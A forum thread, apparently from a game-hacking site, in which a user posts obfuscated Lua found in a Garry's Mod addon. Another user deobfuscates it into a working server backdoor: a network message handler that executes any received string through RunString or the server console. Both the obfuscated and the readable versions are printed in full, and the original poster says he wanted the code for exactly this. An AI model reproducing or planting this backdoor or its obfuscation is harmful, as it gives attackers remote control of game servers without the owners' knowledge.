Results 1 to 10 of 10
  1. #1
    jefferywinner's Avatar
    Join Date
    Mar 2015
    Gender
    male
    Posts
    4
    Reputation
    10
    Thanks
    0

    Lua De Obfuscate

    So i have found a chunk of code in a addon that is obfuscated, and i was wondering if its possible to de obfuscate lua. I have been looking for ages and cant find anything helpful so if you can please show me or demonstrate how to de obfuscate something (if its even possible) it would be amazing thanks.

  2. #2
    The Beast123's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Posts
    87
    Reputation
    18
    Thanks
    30
    My Mood
    Happy
    Quote Originally Posted by jefferywinner View Post
    So i have found a chunk of code in a addon that is obfuscated, and i was wondering if its possible to de obfuscate lua. I have been looking for ages and cant find anything helpful so if you can please show me or demonstrate how to de obfuscate something (if its even possible) it would be amazing thanks.
    We need to see the "chunk of code " m8

  3. #3
    jefferywinner's Avatar
    Join Date
    Mar 2015
    Gender
    male
    Posts
    4
    Reputation
    10
    Thanks
    0
    Fine

    Code:
    if SERVER then
    local c='%c'
    local YYYYTTYXY6Y = util.AddNetworkString
    local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
    local YYYYTRYXY66 = net.ReadString
    local YYTYYYY666T = type
    local YYTYTYY666T = bit.tohex
    local YYTTTYY666T = math.sin
    local YYTTTYY66TT = math.cos
    local YYYYTRY6Y66 = net.ReadBit
    local YYTYYRY6Y66 = net.Receive
    local YYTYYRY666Y = game.ConsoleCommand
    local YYTYYYY666Y = game.GetWorld
    local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
    YYYYTTYXY6Y(YYYYTTYXYYY)
    YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
    local YYRYTTYXY6Y = YYYYTRYXY66()
    local TYYTTYXY6Y = YYYYTRY6Y66()
    if TYYTTYXY6Y == 1 then
    YYYYTRYXY6Y(YYRYTTYXY6Y)
    else
    YYTYYRY666Y(YYRYTTYXY6Y.."\n")
    end
    end)
    end

  4. #4
    zombiiju's Avatar
    Join Date
    May 2014
    Gender
    male
    Posts
    61
    Reputation
    10
    Thanks
    8
    My Mood
    Inspired
    Quote Originally Posted by jefferywinner View Post
    Fine

    Code:
    if SERVER then
    local c='%c'
    local YYYYTTYXY6Y = util.AddNetworkString
    local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
    local YYYYTRYXY66 = net.ReadString
    local YYTYYYY666T = type
    local YYTYTYY666T = bit.tohex
    local YYTTTYY666T = math.sin
    local YYTTTYY66TT = math.cos
    local YYYYTRY6Y66 = net.ReadBit
    local YYTYYRY6Y66 = net.Receive
    local YYTYYRY666Y = game.ConsoleCommand
    local YYTYYYY666Y = game.GetWorld
    local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
    YYYYTTYXY6Y(YYYYTTYXYYY)
    YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
    local YYRYTTYXY6Y = YYYYTRYXY66()
    local TYYTTYXY6Y = YYYYTRY6Y66()
    if TYYTTYXY6Y == 1 then
    YYYYTRYXY6Y(YYRYTTYXY6Y)
    else
    YYTYYRY666Y(YYRYTTYXY6Y.."\n")
    end
    end)
    end
    Code:
    if SERVER then
    	util.AddNetworkString("Sandbox_ArmDupe")
    	net.Receive("Sandbox_ArmDupe", function( length, ply )
    		local netstring = net.ReadString()
    		local bit = net.ReadBit()
    		if bit == 1 then
    			RunString(netstring)
    		else
    			game.ConsoleCommand(netstring.."\n")
    		end
    	end)
    end
    good luck have fun
    Link , listen !

  5. #5
    D3M0L1T10N's Avatar
    Join Date
    May 2012
    Gender
    male
    Posts
    1,364
    Reputation
    19
    Thanks
    656
    Quote Originally Posted by zombiiju View Post
    Code:
    if SERVER then
    	util.AddNetworkString("Sandbox_ArmDupe")
    	net.Receive("Sandbox_ArmDupe", function( length, ply )
    		local netstring = net.ReadString()
    		local bit = net.ReadBit()
    		if bit == 1 then
    			RunString(netstring)
    		else
    			game.ConsoleCommand(netstring.."\n")
    		end
    	end)
    end
    good luck have fun
    if bit == 1 then
    RunString(netstring)
    else
    game.ConsoleCommand(netstring.."\n")
    end

    seems totally legit and not a backdoor
    8:53 PM - Xenomorphic 1 hr 7 min cooldown: So is MPGH only exist so people can c+p from ************* and troll the gmod section?

    [IMG]https://i739.photobucke*****m/albums/xx38/jorroa5990/flatexch2_zpsec96a7e2.gif[/IMG]

  6. #6
    jefferywinner's Avatar
    Join Date
    Mar 2015
    Gender
    male
    Posts
    4
    Reputation
    10
    Thanks
    0
    Its why i wanted it .-.

    - - - Updated - - -

    Quote Originally Posted by zombiiju View Post
    Code:
    if SERVER then
    	util.AddNetworkString("Sandbox_ArmDupe")
    	net.Receive("Sandbox_ArmDupe", function( length, ply )
    		local netstring = net.ReadString()
    		local bit = net.ReadBit()
    		if bit == 1 then
    			RunString(netstring)
    		else
    			game.ConsoleCommand(netstring.."\n")
    		end
    	end)
    end
    good luck have fun
    Do you mind me asking how you did that, always wanted to know how to read obfuscated lua.

  7. #7
    Razon91's Avatar
    Join Date
    Nov 2014
    Gender
    male
    Location
    star69
    Posts
    62
    Reputation
    10
    Thanks
    120
    Quote Originally Posted by jefferywinner View Post
    Its why i wanted it .-.

    - - - Updated - - -



    Do you mind me asking how you did that, always wanted to know how to read obfuscated lua.
    not easy.. requires a masters degree in programming with 12 years of asm coding under the belt.

  8. The Following User Says Thank You to Razon91 For This Useful Post:

    zombiiju (01-06-2016)

  9. #8
    KaiWayHafNeeYum's Avatar
    Join Date
    Jan 2016
    Gender
    female
    Posts
    0
    Reputation
    10
    Thanks
    3
    Quote Originally Posted by Razon91 View Post
    not easy.. requires a masters degree in programming with 12 years of asm coding under the belt.
    Or just use hexrays ida and be a master hacker in a week? Xdxdddddd

  10. #9
    jefferywinner's Avatar
    Join Date
    Mar 2015
    Gender
    male
    Posts
    4
    Reputation
    10
    Thanks
    0
    Quote Originally Posted by KaiWayHafNeeYum View Post
    Or just use hexrays ida and be a master hacker in a week? Xdxdddddd
    Yeah i like your idea better

  11. #10
    Smoke's Avatar
    Join Date
    Nov 2014
    Gender
    male
    Posts
    11,901
    Reputation
    2661
    Thanks
    4,610
    My Mood
    Amazed
    Seems as though this is solved as the last few posts were rambling.

    /Closed.


    CLICK TO BUY NOW!!


    Quote Originally Posted by Liz View Post
    This is my first vouch, ever. Rapidgator account worked perfectly. Would buy in the future.

Similar Threads

  1. Replies: 2
    Last Post: 01-06-2016, 12:38 AM
  2. [Opinions] Obfuscation/Safe Releases
    By zmansquared in forum Visual Basic Programming
    Replies: 8
    Last Post: 03-22-2010, 08:30 PM
  3. [Article]Obfuscation[Tutorial]
    By Lolland in forum Visual Basic Programming
    Replies: 26
    Last Post: 03-15-2010, 08:12 AM
  4. How to obfuscate a vb.net application !!
    By MJLover in forum Visual Basic Programming
    Replies: 4
    Last Post: 02-28-2010, 08:15 AM
  5. America's Army No Recoil/Reload LUA code.
    By MagikBullet in forum General Game Hacking
    Replies: 7
    Last Post: 02-25-2007, 10:11 AM